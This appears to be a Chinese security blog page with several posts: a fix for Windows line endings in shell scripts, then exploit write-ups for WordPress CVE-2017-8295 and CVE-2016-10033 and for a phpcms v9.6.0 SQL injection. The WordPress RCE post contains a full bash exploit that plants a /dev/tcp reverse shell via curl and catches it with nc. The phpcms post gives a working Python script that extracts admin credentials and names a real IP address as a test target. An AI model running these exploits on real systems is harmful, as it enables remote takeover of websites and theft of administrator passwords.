shell编程报错:“syntax error near unexpected token `” 代码人生
因为测试exp...在Kali测试正常....不小心在windows下用sublime编辑了一下...再去linux运行就出错了..
运行报错syntax error near unexpected token `..
左看右看shell脚本没有问题,没有办法google搜索,发现一位仁兄讲的挺好,内容如下:
用命令vi -b 打开你的SHELL脚本文件,你会。发现每行脚本最后多了个^M。
那么接下来就要搞清楚这个^M是什么东东?
long long ago..... 老式的电传打字机使用两个字符来另起新行。一个字符把滑动架移回首位 (称为回车,<CR>,ASCII码为0D),另一个字符把纸上移一行 (称为换行, <LF>,ASCII码为0A)。当计算机问世以后,存储器曾经非常昂贵。有些人就认定没必要用两个字符来表示行尾。UNIX 开发者决定他们可以用 一个字符来表示行尾,Linux沿袭Unix,也是<LF>。Apple 开发者规定了用<CR>。开发 MS-DOS以及Windows 的那些家伙则决定沿用老式的<CR><LF>。
因为MS-DOS及Windows是回车+换行来表示换行,因此在Linux下用Vim查看在Windows下用VC写的代码,行尾后的“^M”符号,表示的是符。
在Vim中解决这个问题,很简单,在Vim中利用替换功能就可以将“^M”都干掉,键入如下替换命令行:
1)vi -b setup.sh
2)在命令编辑行<就是: 按ESC键 然后shift+:冒号>输入:%s/^M//g
注意:上述命令行中的“^M”符,不是“^”再加上“M”,而是由“Ctrl+v”、“Ctrl+M”键生成的。
这样替换掉以后,保存就可以执行了。当然还有其他的替换方式比如:
a.一些linux版本有 dos2unix 程序,可以用来祛除^M。
b.cat filename1 | tr -d "/r" > newfile 去掉^M生成一个新文件,还有sed命令等,凡是可以替换的命令都是可以用来新生成一个文件的。
按照上面所说的,删除^M后 ,shell脚本就运行正常.切记.sh脚本不要再Windows下编辑...各种诡异的错误...
PS:另外小计一下在测试exp时候,
执行curl -sSL 提示curl: (35) SSL connect error ,解决方法----
升级网络安全服务即可(centos): yum update nss.
0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞 渗透测试
这两天的wordpress总是不平静....今天刚刚爆出0day....
漏洞概述
漏洞编号:CVE-2017-8295
漏洞发现者:dawid_golunski
漏洞危害:中/高
影响版本:WordPress Core <= 4.7.4
漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。
漏洞细节
默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。
这可以在创建From的代码片段中观察到
调用PHP mail()函数前的电子邮件头:
------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ...
我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量
(在HTTP_HOST 头内):
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:
attackers-mxserver.com
这将导致Wordpress将$ from_email设置为
并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。
至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读
http://php.net/manual/en/function.mail.php
From头在Windows下还设置了Return-Path。
根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。
这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。
一些示例场景:
如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)
导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。
一些自动回复者可能附上发送到该机构的电子邮箱的副本
自动回复的消息
发送多个密码重置电子邮件强制用户回复
消息查询说明无限密码重置电子邮件。
包含密码链接的回复将被发送给攻击者。
等等
概念证明
如果攻击者将类似于下面的请求发送到默认的Wordpress
-----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------
Wordpress将触发管理员用户帐户的密码重置功能。
由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:
------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <[email protected]> From: WordPress <[email protected]> Message-ID: <[email protected]> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit
假如有人要求为以下帐户重设密码:
http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。
可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证
bash脚本:
#!/bin/bash
cat > /tmp/outgoing-email
解决方案
目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。
由于这种情况没有进展,没有官方补丁,开始向公众发布。
参考
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试
漏洞概述
漏洞编号:CVE-2016-10033
漏洞发现者:dawid_golunski
漏洞危害:严重
影响版本:WordPress <4.7.1
漏洞描述:远程攻击者可以利用该漏洞执行代码
漏洞细节
这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。
漏洞代码:
if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:
$from_email = 'wordpress@' . $sitename;
然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html
注入
可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。
为了验证这点,请看vars.php请求与响应的演示:
GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ...
我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。
使用这个HOST头的例子,如果攻击者触发了wp_mail()函数
通过使用WordPress的忘记密码功能,HTTP请求将类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password
并将导致以下参数传递到/ usr / sbin / sendmail:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject]
这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。
绕过过滤
为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会
防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。
例如,如果攻击者将HOST头修改为以下内容:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE
验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:
HTTP/1.0 500 Internal Server Error
在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)
PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准
详细请查看:
http://php.net/manual/en/filter.filters.validate.php
它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。
应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。
RFC 822和注释语法
根据查看RFC 822规范,找到绕过验证的一种潜在的方法:
https://www.ietf.org/rfc/rfc822.txt
电子邮件地址可以包含注释
该文件给出了一个电子邮件示例,其中括号中有注释:
":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
作为有效的电子邮件,域内部分的简化注释示例:
[email protected](comment)
经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。
通过注释语法注入参数
以下请求与HOST头设置为:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2)
不会触发错误,测试以下参数发送邮件 :
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)]
我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。
apply_filters( 'wp_mail_from_name', $from_name );
我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。
通过Sendmail MTA执行代码
迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA
最常见的Sendmail MTA向量类似于:
-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
它通常通过输入信息写入一个包含php后门的日志文件
然而,这种技术有两个问题:
1)
Sendmail MTA不再常用,我们可以通过查看来验证
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。
2)
上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2)
将出现以下一组sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)]
Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。
通过Exim4 MTA执行代码
关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下
sendmail -be'$ {run {/ bin / true} {true} {false}}'
-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值
同样,以下将执行id命令:
sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'
注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail - > exim4与Sendmail MTA无关。
这个点可以可靠的方式实现执行命令
$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径
HOST头限制
看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。
请求格式如下:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2)
由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。
绕过限制
绕过HOST头的限制几种方法
尝试通过研究可用的Exim字符串:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
嵌入式perl
其中一个扩展是:
$ {perl {foo} {argument1} {argument2} ...}
不过Perl在默认情况下没有启用perl,因此漏洞无法使用。
编码
对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:
sendmail -be'$ {base64d:QUI =}'
失败:未知扩展运算符“base64d”
子字符串和环境变量
---------------------
另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:
PATH = / bin:/ usr / bin
因此是一个很好的候选变量。
$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:
sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}' /
不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。
子字符串和内部exim4变量
--------------------------------------
通过不断的测试发现以下变量可以使用:
sendmail -be '${spool_directory}' /var/spool/exim4
spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。
斜杠可以替换为:
$ {SUBSTR {0} {1} {$ spool_directory}}
从而绕过HOST头的斜杠限制。
以下命令:
sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'
现在可以转换为:
sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'
这在terminal 下正常工作,但是在HTTP请求中进行测试时:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
转化后是以下sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)]
我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')
替换空格
------------------
首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。
经过深入研究,发现了一个方便的内部exim变量:
sendmail -be'$ {tod_log}' 2016-01-02 23:49:42
tod_log变量返回一个含有空格的当前日期格式。
类似于斜杠替换,$ substring + $ tod_log变量可以
用于替换测试的空格:
sendmail -be'$ {substr {10} {1} {$ tod_log}}'
PoC HTTP请求
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password
发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)]
这里将在目标系统WordPress 4.6上创建一个测试test文件:
/usr/bin/touch /tmp/test
以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。
PoC
rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0
PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html
修复建议:
更新到最新版本或者4.7.1以上版本
下载地址https://wordpress.org/latest.zip
参考:
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
phpcms_v9.6.0_sql注入与exp 渗透测试
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
